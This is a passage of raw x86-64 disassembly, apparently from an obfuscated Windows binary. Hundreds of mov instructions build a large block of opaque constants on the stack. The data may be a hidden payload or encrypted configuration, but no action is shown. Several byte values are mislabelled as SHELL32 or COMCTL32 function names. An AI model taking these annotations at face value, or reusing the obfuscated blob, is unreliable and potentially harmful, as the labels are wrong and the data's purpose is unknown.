mov byte [rsp + 0xd2], 0x7f
mov eax, 0x36f8
mov word [rsp + 0xdc8], ax
mov dword [rsp + 0x3c4c], 0x367f6e12
mov dword [rsp + 0x3c50], 0x3bc226fa
mov eax, 0xb2
mov word [rsp + 0xdcc], ax
movabs rax, 0x1c862d1ec955a022
mov qword [rsp + 0x6ec8], rax
mov byte [rsp + 0xd3], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x32339da7ef9efc65
mov qword [rsp + 0x6ed0], rax
movabs rax, 0x85591b31f29877d
mov qword [rsp + 0x6ed8], rax
mov eax, 0x4554
mov word [rsp + 0xdd0], ax
mov byte [rsp + 0xd4], 0xc6
movabs rax, 0x9ca4cd820f3f61ad
mov qword [rsp + 0x6ee0], rax
mov dword [rsp + 0x3c54], 0x4e12df4e
movabs rax, 0xd3c4c93da5524bd3
mov qword [rsp + 0x6ee8], rax
mov byte [rsp + 0xd5], 0x7c
mov eax, 0x6a1d
mov word [rsp + 0xdd4], ax
mov eax, 0x6e9
mov word [rsp + 0xdd8], ax
mov dword [rsp + 0x3c58], 0x8c7edaf5
mov dword [rsp + 0x3c5c], 0x69aeb0ff
mov eax, 0xa5d
mov word [rsp + 0xddc], ax
mov dword [rsp + 0x3c60], 0x9261b62d
mov byte [rsp + 0xd6], MakeDragList
mov dword [rsp + 0x3c64], 0x710d7b40
mov dword [rsp + 0x3c68], 0xb874ea6c
mov byte [rsp + 0xd7], 0xd1
mov dword [rsp + 0x3c6c], 0xc071fb41
mov byte [rsp + 0xd8], SHUpdateImageA
mov byte [rsp + 0xd9], 0xca
mov dword [rsp + 0x3c70], 0x53e11c02
mov eax, 0x2fe
mov word [rsp + 0xde0], ax
movabs rax, 0x6179cea7a18a7c56
mov qword [rsp + 0x6ef0], rax
mov dword [rsp + 0x3c74], 0x571ebb6b
movabs rax, 0xcbd3c99703ed34c4
mov qword [rsp + 0x6ef8], rax
mov byte [rsp + 0xda], 0x43
mov eax, 0x692
mov word [rsp + 0xde4], ax
mov eax, 0x19a3
mov word [rsp + 0xde8], ax
movabs rax, 0x10d2b47a31ff095a
mov qword [rsp + 0x6f00], rax
movabs rax, 0x565a4f93db2fa71
mov qword [rsp + 0x6f08], rax
mov eax, 0x5064
mov word [rsp + 0xdec], ax
mov dword [rsp + 0x3c78], 0x2222e249
mov eax, 0x30c5
mov word [rsp + 0xdf0], ax
mov dword [rsp + 0x3c7c], 0xbe19766e
mov eax, 0x202e
mov word [rsp + 0xdf4], ax
mov byte [rsp + 0xdb], ILIsEqual
mov dword [rsp + 0x3c80], 0x20a4e84d
movabs rax, 0x7a20ecc2d63fa512
mov qword [rsp + 0x6f10], rax
mov byte [rsp + 0xdc], 0x6a
mov byte [rsp + 0xdd], 0xa
movabs rax, 0x4458e235daa1162b
mov qword [rsp + 0x6f18], rax
mov dword [rsp + 0x3c84], 0x71a2a282
mov byte [rsp + 0xde], SHDoDragDrop
mov eax, 0x640e
mov word [rsp + 0xdf8], ax
mov byte [rsp + 0xdf], 0xc7
mov byte [rsp + 0xe0], SHDoDragDrop
movabs rax, 0x7ca808037e1e9091
mov qword [rsp + 0x6f20], rax
mov dword [rsp + 0x3c88], 0x5531bcbf
movabs rax, 0xb09c7c875c3b0f10
mov qword [rsp + 0x6f28], rax
mov byte [rsp + 0xe1], 0x7d
mov dword [rsp + 0x3c8c], 0x646ebe4
mov byte [rsp + 0xe2], SHDoDragDrop
movabs rax, 0x7a0218a2cddfd071
mov qword [rsp + 0x6f30], rax
mov byte [rsp + 0xe3], 0x6e
mov byte [rsp + 0xe4], 0x7a
mov eax, 0xb9f
mov word [rsp + 0xdfc], ax
mov dword [rsp + 0x3c90], 0x5327081
mov dword [rsp + 0x3c94], 0xc21c13f7
mov byte [rsp + 0xe5], 0x62
mov dword [rsp + 0x3c98], 0x8f99c620
mov byte [rsp + 0xe6], 0x65
mov eax, 0x1870
mov word [rsp + 0xe00], ax
mov byte [rsp + 0xe7], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0x5a0
mov word [rsp + 0xe04], ax
mov dword [rsp + 0x3c9c], 0xcf8b9a47
mov eax, 0x693f
mov word [rsp + 0xe08], ax
mov byte [rsp + 0xe8], ILIsEqual
movabs rax, 0x68c1d116a086d9a2
mov qword [rsp + 0x6f38], rax
movabs rax, 0x22454c07994d0597
mov qword [rsp + 0x6f40], rax
mov dword [rsp + 0x3ca0], 0x10ac2f23
movabs rax, 0x745cb0e98312658a
mov qword [rsp + 0x6f48], rax
movabs rax, 0x4ea275ad4924460a
mov qword [rsp + 0x6f50], rax
mov byte [rsp + 0xe9], reloc.SHELL32.dll_ILFindChild
mov byte [rsp + 0xea], 0x41
movabs rax, 0x2931a0cf22b26b30
mov qword [rsp + 0x6f58], rax
movabs rax, 0x4891a39a5c4d1bff
mov qword [rsp + 0x6f60], rax
movabs rax, 0x2467f78abbd1d1c6
mov qword [rsp + 0x6f68], rax
mov dword [rsp + 0x3ca4], 0xb53952e8
movabs rax, 0x44ed1e38f9525585
mov qword [rsp + 0x6f70], rax
movabs rax, 0x53c8f623fbe534a5
mov qword [rsp + 0x6f78], rax
mov dword [rsp + 0x3ca8], 0x1b1dc55b
mov dword [rsp + 0x3cac], 0x94aeb3b9
mov byte [rsp + 0xeb], ILIsEqual
mov dword [rsp + 0x3cb0], 0x78667750
mov byte [rsp + 0xec], ILGetSize
movabs rax, 0x5ed9c5a171d748b2
mov qword [rsp + 0x6f80], rax
movabs rax, 0x5b0102551fa34632
mov qword [rsp + 0x6f88], rax
mov byte [rsp + 0xed], 0xa3
mov eax, 0x307
mov word [rsp + 0xe0c], ax
movabs rax, 0x356023db515b9660
mov qword [rsp + 0x6f90], rax
mov eax, 0x12f9
mov word [rsp + 0xe10], ax
mov eax, 0x6ad
mov word [rsp + 0xe14], ax
movabs rax, 0x8908bbf6b48ca176
mov qword [rsp + 0x6f98], rax
mov eax, reloc.SHELL32.dll_ILFindLastID
mov word [rsp + 0xe18], ax
mov byte [rsp + 0xee], 0x1c
movabs rax, 0xe7326267f6d35392
mov qword [rsp + 0x6fa0], rax
mov byte [rsp + 0xef], 0x1c
mov eax, 0x25a3
mov word [rsp + 0xe1c], ax
mov byte [rsp + 0xf0], ILIsEqual
mov eax, 0xdc1
mov word [rsp + 0xe20], ax
mov eax, 0x768c
mov word [rsp + 0xe24], ax
mov dword [rsp + 0x3cb4], 0x2f02acd0
mov byte [rsp + 0xf1], 0x68
mov eax, 0x7cc
mov word [rsp + 0xe28], ax
mov byte [rsp + 0xf2], 0x89
mov eax, 0x7724
mov word [rsp + 0xe2c], ax
mov byte [rsp + 0xf3], 0x6e
mov eax, 0x457
mov word [rsp + 0xe30], ax
movabs rax, 0x7624ed35ff8a2cdb
mov qword [rsp + 0x6fa8], rax
movabs rax, 0xfd2bd7147e18e9d1
mov qword [rsp + 0x6fb0], rax
movabs rax, 0x54e7075a69319a31
mov qword [rsp + 0x6fb8], rax
movabs rax, 0x20f1bc7c1b4883d1
mov qword [rsp + 0x6fc0], rax
movabs rax, 0x2677ca71338b2189
mov qword [rsp + 0x6fc8], rax
mov dword [rsp + 0x3cb8], 0x2fc66632
mov byte [rsp + 0xf4], 0x2d
mov eax, 0x8ce
mov word [rsp + 0xe34], ax
mov byte [rsp + 0xf5], SHDoDragDrop
movabs rax, 0xf657641abdaaccd7
mov qword [rsp + 0x6fd0], rax
movabs rax, 0x2c3e8e614a171e47
mov qword [rsp + 0x6fd8], rax
mov eax, 0x938
mov word [rsp + 0xe38], ax
movabs rax, 0x3bbe4e13eee9e0c9
mov qword [rsp + 0x6fe0], rax
mov dword [rsp + 0x3cbc], 0x724e21ed
movabs rax, 0x793eaf7c09b6c034
mov qword [rsp + 0x6fe8], rax
mov eax, 0x450
mov word [rsp + 0xe3c], ax
mov eax, 0x5eb0
mov word [rsp + 0xe40], ax
mov byte [rsp + 0xf6], 0x5c
mov byte [rsp + 0xf7], PathYetAnotherMakeUniqueName
mov eax, 0xfd7
mov word [rsp + 0xe44], ax
movabs rax, 0x261fdbcc0389d62a
mov qword [rsp + 0x6ff0], rax
mov byte [rsp + 0xf8], 0x36
mov eax, 0x275
mov word [rsp + 0xe48], ax
mov byte [rsp + 0xf9], 0x2d
movabs rax, 0x8dc5969ea95d45b7
mov qword [rsp + 0x6ff8], rax
mov dword [rsp + 0x3cc0], 0x672e06f3
mov dword [rsp + 0x3cc4], 0x4f732b06
mov dword [rsp + 0x3cc8], 0x4511774e
movabs rax, 0xdd951880f2ee1c28
mov qword [rsp + 0x7000], rax
mov dword [rsp + 0x3ccc], 0x610bd416
mov byte [rsp + 0xfa], 0x2a
mov byte [rsp + 0xfb], 0x6d
mov dword [rsp + 0x3cd0], 0x45f19a40
movabs rax, 0x1c516679a11370b0
mov qword [rsp + 0x7008], rax
movabs rax, 0x4f9b1dd7dfd0df0f
mov qword [rsp + 0x7010], rax
mov eax, 0x3f0
mov word [rsp + 0xe4c], ax
mov byte [rsp + 0xfc], 0x24
mov eax, 0x420c
mov word [rsp + 0xe50], ax
movabs rax, 0xda839ff3d802f60a
mov qword [rsp + 0x7018], rax
mov dword [rsp + 0x3cd4], 0x62cbce6a
mov dword [rsp + 0x3cd8], 0x6a5133e8
mov byte [rsp + 0xfd], 0x63
movabs rax, 0x5b6ffd5717071e12
mov qword [rsp + 0x7020], rax
mov eax, 0xa0
mov word [rsp + 0xe54], ax
mov eax, 0xa80
mov word [rsp + 0xe58], ax
movabs rax, 0xff8b678c2d112d49
mov qword [rsp + 0x7028], rax
movabs rax, 0x29b7fb863dbd268b
mov qword [rsp + 0x7030], rax
mov eax, 0x2b72
mov word [rsp + 0xe5c], ax
movabs rax, 0xe52a2d2ba53127d8
mov qword [rsp + 0x7038], rax
mov eax, 0x3e57
mov word [rsp + 0xe60], ax
mov eax, 0x39a
mov word [rsp + 0xe64], ax
movabs rax, 0x22e23c6236161c58
mov qword [rsp + 0x7040], rax
mov eax, 0x4d74
mov word [rsp + 0xe68], ax
movabs rax, 0xa3162e68ea756243
mov qword [rsp + 0x7048], rax
mov dword [rsp + 0x3cdc], 0xd145b17e
mov dword [rsp + 0x3ce0], 0x387bc133
mov dword [rsp + 0x3ce4], 0x356a0747
movabs rax, 0x34016d056e89c4f
mov qword [rsp + 0x7050], rax
mov eax, 0x4a91
mov word [rsp + 0xe6c], ax
mov dword [rsp + 0x3ce8], 0x3586d8d2
mov dword [rsp + 0x3cec], 0x55aeed22
mov dword [rsp + 0x3cf0], 0x66656ee0
mov eax, 0xb5
mov word [rsp + 0xe70], ax
movabs rax, 0xfff6fe38bd04be92
mov qword [rsp + 0x7058], rax
mov eax, 0x3970
mov word [rsp + 0xe74], ax
mov eax, 0x20a7
mov word [rsp + 0xe78], ax
mov dword [rsp + 0x3cf4], 0x419a5a0d
mov byte [rsp + 0xfe], 0x68
movabs rax, 0xd1388f3bec2abc5b
mov qword [rsp + 0x7060], rax
mov byte [rsp + 0xff], 0x6f
mov byte [rsp + 0x100], 2
mov byte [rsp + 0x101], reloc.SHELL32.dll_ILIsEqual
mov dword [rsp + 0x3cf8], 0x6d68dd88
mov dword [rsp + 0x3cfc], 0x5578816f
movabs rax, 0x39d3e9ce3b75ecb3
mov qword [rsp + 0x7068], rax
mov dword [rsp + 0x3d00], 0x1b455ce3
mov eax, 0xbf2
mov word [rsp + 0xe7c], ax
movabs rax, 0x52124572aebd6591
mov qword [rsp + 0x7070], rax
mov byte [rsp + 0x102], 0x72
mov eax, 0x835
mov word [rsp + 0xe80], ax
mov eax, 0xc8e
mov word [rsp + 0xe84], ax
mov byte [rsp + 0x103], 0x3e
mov eax, 0x6df9
mov word [rsp + 0xe88], ax
mov eax, 0x11da
mov word [rsp + 0xe8c], ax
movabs rax, 0xebff188df1170025
mov qword [rsp + 0x7078], rax
mov byte [rsp + 0x104], SHUpdateImageA
mov dword [rsp + 0x3d04], 0x52e37fbb
movabs rax, 0x64cf7aaa998062e0
mov qword [rsp + 0x7080], rax
mov eax, 0x2bcd
mov word [rsp + 0xe90], ax
mov dword [rsp + 0x3d08], 0x7be1119
mov dword [rsp + 0x3d0c], 0x1d36095f
mov byte [rsp + 0x105], 0x6c
mov byte [rsp + 0x106], 0xad
mov eax, 0x1630
mov word [rsp + 0xe94], ax
movabs rax, 0x38152bea1aba0036
mov qword [rsp + 0x7088], rax
movabs rax, 0x2616123845fe7b98
mov qword [rsp + 0x7090], rax
mov eax, 0x39eb
mov word [rsp + 0xe98], ax
movabs rax, 0xeb534e5baa00eab0
mov qword [rsp + 0x7098], rax
mov dword [rsp + 0x3d10], 0x5cc6eaf5
mov dword [rsp + 0x3d14], 0x3f032dee
mov byte [rsp + 0x107], 0x35
mov eax, 0xd24
mov word [rsp + 0xe9c], ax
movabs rax, 0x5ed057833a11a115
mov qword [rsp + 0x70a0], rax
mov byte [rsp + 0x108], 0x9d
mov byte [rsp + 0x109], 0xae
mov dword [rsp + 0x3d18], 0x4381f7e2
mov eax, 0x36f7
mov word [rsp + 0xea0], ax
mov eax, 0xe71
mov word [rsp + 0xea4], ax
mov dword [rsp + 0x3d1c], 0x3b2d56f5
mov byte [rsp + 0x10a], 0x7d
mov eax, 0x608
mov word [rsp + 0xea8], ax
movabs rax, 0x45085e3e0ccf8695
mov qword [rsp + 0x70a8], rax
mov eax, 0x2eab
mov word [rsp + 0xeac], ax
movabs rax, 0x2878a49f0dac16da
mov qword [rsp + 0x70b0], rax
mov dword [rsp + 0x3d20], 0x99ef47d6
mov byte [rsp + 0x10b], 0xb1
mov byte [rsp + 0x10c], ILIsEqual
mov eax, 0xf58
mov word [rsp + 0xeb0], ax
mov byte [rsp + 0x10d], 0x82
mov eax, 0x80
mov word [rsp + 0xeb4], ax
mov byte [rsp + 0x10e], ILIsEqual
movabs rax, 0x3a50b75db42b2d40
mov qword [rsp + 0x70b8], rax
mov eax, 0x3f8
mov word [rsp + 0xeb8], ax
mov eax, 0x385b
mov word [rsp + 0xebc], ax
movabs rax, 0x2a7906d6bf6b4738
mov qword [rsp + 0x70c0], rax
mov dword [rsp + 0x3d24], 0x79fb5a33
movabs rax, 0xfedcab2d81b39258
mov qword [rsp + 0x70c8], rax
mov eax, 0x3603
mov word [rsp + 0xec0], ax
mov eax, 0x72c
mov word [rsp + 0xec4], ax
mov eax, 0xce5
mov word [rsp + 0xec8], ax
movabs rax, 0x295e243dc48be4c
mov qword [rsp + 0x70d0], rax
mov eax, 0x7d2a
mov word [rsp + 0xecc], ax
mov dword [rsp + 0x3d28], 0x19b53374
mov byte [rsp + 0x10f], 0x67
mov byte [rsp + 0x110], 0xad
movabs rax, 0xe17ca4d2396a7e50
mov qword [rsp + 0x70d8], rax
movabs rax, 0x63a15c9fa811af65
mov qword [rsp + 0x70e0], rax
mov eax, 0x4a6
mov word [rsp + 0xed0], ax
mov dword [rsp + 0x3d2c], 0xf87f02c9
mov dword [rsp + 0x3d30], 0xedd13804
mov byte [rsp + 0x111], 0x7b
mov byte [rsp + 0x112], 0x26
movabs rax, 0x76b8daa87cdaf5d0
mov qword [rsp + 0x70e8], rax
mov eax, 0x423d
mov word [rsp + 0xed4], ax
mov eax, 0x247
mov word [rsp + 0xed8], ax
mov byte [rsp + 0x113], 0xaa
mov byte [rsp + 0x114], 0x75
mov dword [rsp + 0x3d34], 0x71142b05
mov dword [rsp + 0x3d38], 0xf5846a9
mov byte [rsp + 0x115], 0x82
movabs rax, 0x5062631509a4753f
mov qword [rsp + 0x70f0], rax
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0xedc], ax
mov dword [rsp + 0x3d3c], 0x6092a6b3
mov dword [rsp + 0x3d40], 0x59d08127
mov byte [rsp + 0x116], 0x20
mov byte [rsp + 0x117], 0x33
mov eax, 0x57c9
mov word [rsp + 0xee0], ax
mov byte [rsp + 0x118], 0xc4
mov eax, 0x1367
mov word [rsp + 0xee4], ax
mov byte [rsp + 0x119], 3
mov eax, 0x148
mov word [rsp + 0xee8], ax
mov dword [rsp + 0x3d44], 0x2e3e1ed9
mov byte [rsp + 0x11a], 0x64
mov eax, 0x1a1
mov word [rsp + 0xeec], ax
mov dword [rsp + 0x3d48], 0x24a58a18
mov byte [rsp + 0x11b], 0x5f
mov byte [rsp + 0x11c], SHTestTokenMembership
mov byte [rsp + 0x11d], 0x20
mov byte [rsp + 0x11e], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x3d4c], 0xb1850067
mov eax, 0x17a3
mov word [rsp + 0xef0], ax
mov eax, 0x6b5a
mov word [rsp + 0xef4], ax
movabs rax, 0xbca5df030540975f
mov qword [rsp + 0x70f8], rax
mov dword [rsp + 0x3d50], 0x8353e776
movabs rax, 0xcee6c4cb5a49c23
mov qword [rsp + 0x7100], rax
mov eax, 0x2b1c
mov word [rsp + 0xef8], ax
mov eax, 0x429b
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x3d54], 0x712d32e7
mov eax, 0x5e1
mov word [rsp + 0xf00], ax
mov byte [rsp + 0x11f], 0x39
movabs rax, 0x40a2824ca43fbab0
mov qword [rsp + 0x7108], rax
mov eax, 0x5fbe
mov word [rsp + 0xf04], ax
mov dword [rsp + 0x3d58], 0x38b09eac
mov byte [rsp + 0x120], SHDoDragDrop
mov dword [rsp + 0x3d5c], 0x6da4aae1
movabs rax, 0xb73373968d9181d
mov qword [rsp + 0x7110], rax
movabs rax, 0x5909c4452732a642
mov qword [rsp + 0x7118], rax
mov byte [rsp + 0x121], 0xc1
mov eax, 0x16b3
mov word [rsp + 0xf08], ax
mov eax, 0x308b
mov word [rsp + 0xf0c], ax
mov dword [rsp + 0x3d60], 0x6a2da55c
mov dword [rsp + 0x3d64], 0x3185b514
movabs rax, 0x4093156fb3718bc6
mov qword [rsp + 0x7120], rax
movabs rax, 0x6076df44dc636c82
mov qword [rsp + 0x7128], rax
mov byte [rsp + 0x122], 0x50
movabs rax, 0x292a34f9cfc7e2c8
mov qword [rsp + 0x7130], rax
mov byte [rsp + 0x123], 0x78
mov eax, 0x698b
mov word [rsp + 0xf10], ax
mov dword [rsp + 0x3d68], 0x19d05643
mov byte [rsp + 0x124], 0x24
mov eax, 0x1fb8
mov word [rsp + 0xf14], ax
mov byte [rsp + 0x125], 0x2f
mov eax, 0xd11
mov word [rsp + 0xf18], ax
mov byte [rsp + 0x126], 0x32
mov byte [rsp + 0x127], SHDoDragDrop
mov byte [rsp + 0x128], 0x2b
mov eax, 0x806
mov word [rsp + 0xf1c], ax
mov eax, 0x2f2
mov word [rsp + 0xf20], ax
mov eax, 0xeb1
mov word [rsp + 0xf24], ax
mov eax, 0x656
mov word [rsp + 0xf28], ax
movabs rax, 0x1ab6807895c58fff
mov qword [rsp + 0x7138], rax
mov eax, 0xe78
mov word [rsp + 0xf2c], ax
mov byte [rsp + 0x129], 0x29
movabs rax, 0x1bcaf6f7766ecccc
mov qword [rsp + 0x7140], rax
mov dword [rsp + 0x3d6c], 0xfabf81ae
mov byte [rsp + 0x12a], 0x73
movabs rax, 0x19fc9e80e10ae9ba
mov qword [rsp + 0x7148], rax
mov eax, 0x708f
mov word [rsp + 0xf30], ax
mov dword [rsp + 0x3d70], 0x4d86599a
mov eax, 0x41a0
mov word [rsp + 0xf34], ax
mov byte [rsp + 0x12b], SHDoDragDrop
mov byte [rsp + 0x12c], 0x22
movabs rax, 0xf86178bca0f7b4e3
mov qword [rsp + 0x7150], rax
mov byte [rsp + 0x12d], ILIsEqual
mov byte [rsp + 0x12e], 0x24
movabs rax, 0x246b1fd0062b4170
mov qword [rsp + 0x7158], rax
movabs rax, 0x4963eb3a353538ef
mov qword [rsp + 0x7160], rax
movabs rax, 0x57c488e7252bc2d2
mov qword [rsp + 0x7168], rax
mov byte [rsp + 0x12f], 0x2f
mov dword [rsp + 0x3d74], 0x2e3e844d
mov byte [rsp + 0x130], 0x2d
mov dword [rsp + 0x3d78], 0x63c2aea1
mov dword [rsp + 0x3d7c], 0x45f8d682
mov eax, 0x3b2
mov word [rsp + 0xf38], ax
movabs rax, 0x458a84f61869111c
mov qword [rsp + 0x7170], rax
mov eax, 0x3a08
mov word [rsp + 0xf3c], ax
mov byte [rsp + 0x131], 0x86
mov dword [rsp + 0x3d80], 0x834d6a68
movabs rax, 0x2e4fdfacbc5c2e38
mov qword [rsp + 0x7178], rax
mov dword [rsp + 0x3d84], 0x38b6afd5
mov eax, 0x9ba
mov word [rsp + 0xf40], ax
mov byte [rsp + 0x132], 0x31
mov dword [rsp + 0x3d88], 0x6e8542a1
mov eax, 0x4fbd
mov word [rsp + 0xf44], ax
mov eax, 0xb82
mov word [rsp + 0xf48], ax
movabs rax, 0x340e8cb7127fcc69
mov qword [rsp + 0x7180], rax
mov dword [rsp + 0x3d8c], 0x4bbe6e0d
mov eax, 0x6165
mov word [rsp + 0xf4c], ax
movabs rax, 0xbd38e75aafd51bd8
mov qword [rsp + 0x7188], rax
movabs rax, 0x28126b194bbe2efa
mov qword [rsp + 0x7190], rax
mov byte [rsp + 0x133], 0x5c
mov byte [rsp + 0x134], 0x9a
mov byte [rsp + 0x135], 0x28
mov eax, 0xe42
mov word [rsp + 0xf50], ax
mov dword [rsp + 0x3d90], 0x7f457b23
movabs rax, 0x4c0d1ee3e24075
mov qword [rsp + 0x7198], rax
mov dword [rsp + 0x3d94], 0x3e106927
movabs rax, 0xb04de88f6470b493
mov qword [rsp + 0x71a0], rax
mov eax, 0x36a6
mov word [rsp + 0xf54], ax
mov dword [rsp + 0x3d98], 0xf8f591da
movabs rax, 0x7fdaa7e35c0635f1
mov qword [rsp + 0x71a8], rax
mov dword [rsp + 0x3d9c], 0x35896d9b
mov byte [rsp + 0x136], 0x64
mov dword [rsp + 0x3da0], 0x4e8d5208
movabs rax, 0xcd9fa8ba8071131
mov qword [rsp + 0x71b0], rax
mov byte [rsp + 0x137], ILGetSize
mov byte [rsp + 0x138], SHTestTokenMembership
mov eax, 0x717
mov word [rsp + 0xf58], ax
movabs rax, 0x6b731899c8a2a79f
mov qword [rsp + 0x71b8], rax
mov eax, 0x244
mov word [rsp + 0xf5c], ax
movabs rax, 0x568675d4899ef3f2
mov qword [rsp + 0x71c0], rax
movabs rax, 0x12f6f405acad52ed
mov qword [rsp + 0x71c8], rax
mov dword [rsp + 0x3da4], 0x395335eb
mov dword [rsp + 0x3da8], 0x227b9051
mov eax, 0x2a6
mov word [rsp + 0xf60], ax
mov byte [rsp + 0x139], SHDoDragDrop
movabs rax, 0x7380d7f7914721c0
mov qword [rsp + 0x71d0], rax
mov dword [rsp + 0x3dac], 0x17920547
movabs rax, 0x721ad9365aa85338
mov qword [rsp + 0x71d8], rax
mov byte [rsp + 0x13a], 0x79
movabs rax, 0xfc5de15a420c9144
mov qword [rsp + 0x71e0], rax
mov byte [rsp + 0x13b], 0x2c
movabs rax, 0xa2853126edf74194
mov qword [rsp + 0x71e8], rax
mov dword [rsp + 0x3db0], 0x52a0e595
mov dword [rsp + 0x3db4], 0x4e8e60c1
mov eax, 0x4de9
mov word [rsp + 0xf64], ax
mov byte [rsp + 0x13c], SHDoDragDrop
mov dword [rsp + 0x3db8], 0x214ff1c9
movabs rax, 0xe7497d581528640a
mov qword [rsp + 0x71f0], rax
mov eax, 0x25ca
mov word [rsp + 0xf68], ax
mov eax, 0xb97
mov word [rsp + 0xf6c], ax
movabs rax, 0x7135273777ffd7b7
mov qword [rsp + 0x71f8], rax
movabs rax, 0x1e39e33cb2ce5558
mov qword [rsp + 0x7200], rax
mov eax, 0x6c1c
mov word [rsp + 0xf70], ax
movabs rax, 0xe84b3650c727912
mov qword [rsp + 0x7208], rax
mov eax, 0xbf7
mov word [rsp + 0xf74], ax
mov eax, 0x2c6b
mov word [rsp + 0xf78], ax
mov eax, 0xc62
mov word [rsp + 0xf7c], ax
mov byte [rsp + 0x13d], PathYetAnotherMakeUniqueName
movabs rax, 0x3622b16cd8c9895b
mov qword [rsp + 0x7210], rax
mov eax, 0x287f
mov word [rsp + 0xf80], ax
mov dword [rsp + 0x3dbc], 0x9cfc899e
mov eax, 0x6d9
mov word [rsp + 0xf84], ax
mov byte [rsp + 0x13e], 0xa0
mov dword [rsp + 0x3dc0], 0x132fee49
movabs rax, 0x283d4150c31cc534
mov qword [rsp + 0x7218], rax
mov byte [rsp + 0x13f], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x140], 0xab
mov eax, 0x7124
mov word [rsp + 0xf88], ax
mov dword [rsp + 0x3dc4], 0xf79260b1
mov dword [rsp + 0x3dc8], 0x561939a0
mov dword [rsp + 0x3dcc], 0x288a8927
mov byte [rsp + 0x141], 0x7b
mov byte [rsp + 0x142], 0x62
mov dword [rsp + 0x3dd0], 0xd2e65422
mov dword [rsp + 0x3dd4], 0x34b09f87
mov eax, 0x64c0
mov word [rsp + 0xf8c], ax
mov dword [rsp + 0x3dd8], 0xd5a755b3
mov eax, 0x7184
mov word [rsp + 0xf90], ax
movabs rax, 0x5205716357432ed2
mov qword [rsp + 0x7220], rax
mov dword [rsp + 0x3ddc], 0xfee83deb
mov dword [rsp + 0x3de0], 0xb95420e
mov dword [rsp + 0x3de4], 0xe5a78d3e
mov byte [rsp + 0x143], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov eax, 0x979
mov word [rsp + 0xf94], ax
mov dword [rsp + 0x3de8], 0xd028d321
movabs rax, 0x347555d9e04a0ef9
mov qword [rsp + 0x7228], rax
mov byte [rsp + 0x144], 0x68
mov dword [rsp + 0x3dec], 0x57d89653
movabs rax, 0x21153c11f1bd89ca
mov qword [rsp + 0x7230], rax
mov eax, 0x652
mov word [rsp + 0xf98], ax
mov eax, 0x4dcf
mov word [rsp + 0xf9c], ax
mov dword [rsp + 0x3df0], 0x2237a07e
mov eax, 0x828
mov word [rsp + 0xfa0], ax
mov eax, 0x7a54
mov word [rsp + 0xfa4], ax
mov eax, 0x141
mov word [rsp + 0xfa8], ax
mov dword [rsp + 0x3df4], 0x78597c3b
mov dword [rsp + 0x3df8], 0x982e049c
mov byte [rsp + 0x145], 0xad
mov dword [rsp + 0x3dfc], 0x91693eda
mov eax, 0xc83
mov word [rsp + 0xfac], ax
mov dword [rsp + 0x3e00], 0x5658b7f8
mov byte [rsp + 0x146], 0x79
movabs rax, 0x1e4d84ebc89415ad
mov qword [rsp + 0x7238], rax
mov eax, 0x21e5
mov word [rsp + 0xfb0], ax
mov eax, 0x2f2
mov word [rsp + 0xfb4], ax
mov byte [rsp + 0x147], 0x36
mov byte [rsp + 0x148], reloc.COMCTL32.dll_MakeDragList
mov byte [rsp + 0x149], 0xc0
movabs rax, 0x734b5b0417c9e334
mov qword [rsp + 0x7240], rax
mov byte [rsp + 0x14a], 0x37
mov byte [rsp + 0x14b], ILGetSize
mov dword [rsp + 0x3e04], 0x7ee50b2f
mov eax, 0x4fc3
mov word [rsp + 0xfb8], ax
mov dword [rsp + 0x3e08], 0x78f080e3
mov dword [rsp + 0x3e0c], 0x219b5021
movabs rax, 0x6d93537a2bef5b82
mov qword [rsp + 0x7248], rax
mov byte [rsp + 0x14c], 0xe0
mov eax, 0xa78
mov word [rsp + 0xfbc], ax
mov dword [rsp + 0x3e10], 0x3c1b2fbb
mov eax, 0x94a
mov word [rsp + 0xfc0], ax
mov eax, 0x816
mov word [rsp + 0xfc4], ax
movabs rax, 0x91e92dd3d4496eb9
mov qword [rsp + 0x7250], rax
mov byte [rsp + 0x14d], 0x6a
movabs rax, 0xb0534632f335e220
mov qword [rsp + 0x7258], rax
mov byte [rsp + 0x14e], MakeDragList
movabs rax, 0x212b7a986bcaf4ee
mov qword [rsp + 0x7260], rax
movabs rax, 0x9b3a9e339a8ad221
mov qword [rsp + 0x7268], rax
mov eax, 0x7d17
mov word [rsp + 0xfc8], ax
movabs rax, 0xd80ddad90d1e5dd8
mov qword [rsp + 0x7270], rax
mov dword [rsp + 0x3e14], 0x5568bfcc
mov dword [rsp + 0x3e18], 0x11024769
movabs rax, 0x7cc4928e9ff7abba
mov qword [rsp + 0x7278], rax
mov byte [rsp + 0x14f], 0xa8
mov dword [rsp + 0x3e1c], 0xd3a169ac
mov eax, 0x2347
mov word [rsp + 0xfcc], ax
mov eax, 0x5980
mov word [rsp + 0xfd0], ax
movabs rax, 0xa814b473c03ad8bb
mov qword [rsp + 0x7280], rax
mov eax, 0x9b2
mov word [rsp + 0xfd4], ax
mov eax, 0x4ea8
mov word [rsp + 0xfd8], ax
mov eax, 0x634b
mov word [rsp + 0xfdc], ax
mov byte [rsp + 0x150], 0xb4
mov eax, 0x2f61
mov word [rsp + 0xfe0], ax
mov dword [rsp + 0x3e20], 0xe3c85a18
movabs rax, 0x299c37a43cef39cd
mov qword [rsp + 0x7288], rax
mov dword [rsp + 0x3e24], 0x3f336935
movabs rax, 0xa98679f9a65f997f
mov qword [rsp + 0x7290], rax
mov dword [rsp + 0x3e28], 0xb3b27993
mov byte [rsp + 0x151], 0xe3
mov byte [rsp + 0x152], 0x7c
mov dword [rsp + 0x3e2c], 0x148faa68
mov byte [rsp + 0x153], 0xc7
movabs rax, 0x13303b1fb5c30e6
mov qword [rsp + 0x7298], rax
mov dword [rsp + 0x3e30], 0x6f4de901
movabs rax, 0x5a3b25162204bb8c
mov qword [rsp + 0x72a0], rax
mov dword [rsp + 0x3e34], 0x90cdbb04
movabs rax, 0x696e727250ebf4e7
mov qword [rsp + 0x72a8], rax
movabs rax, 0x2b05c852619d8528
mov qword [rsp + 0x72b0], rax
mov dword [rsp + 0x3e38], 0x6586cb96
mov dword [rsp + 0x3e3c], 0x7a61bfa
movabs rax, 0x6cec2c5c98ca4cd6
mov qword [rsp + 0x72b8], rax
movabs rax, 0x75724b92caf4e54c
mov qword [rsp + 0x72c0], rax
movabs rax, 0x2f31c8091a514c03
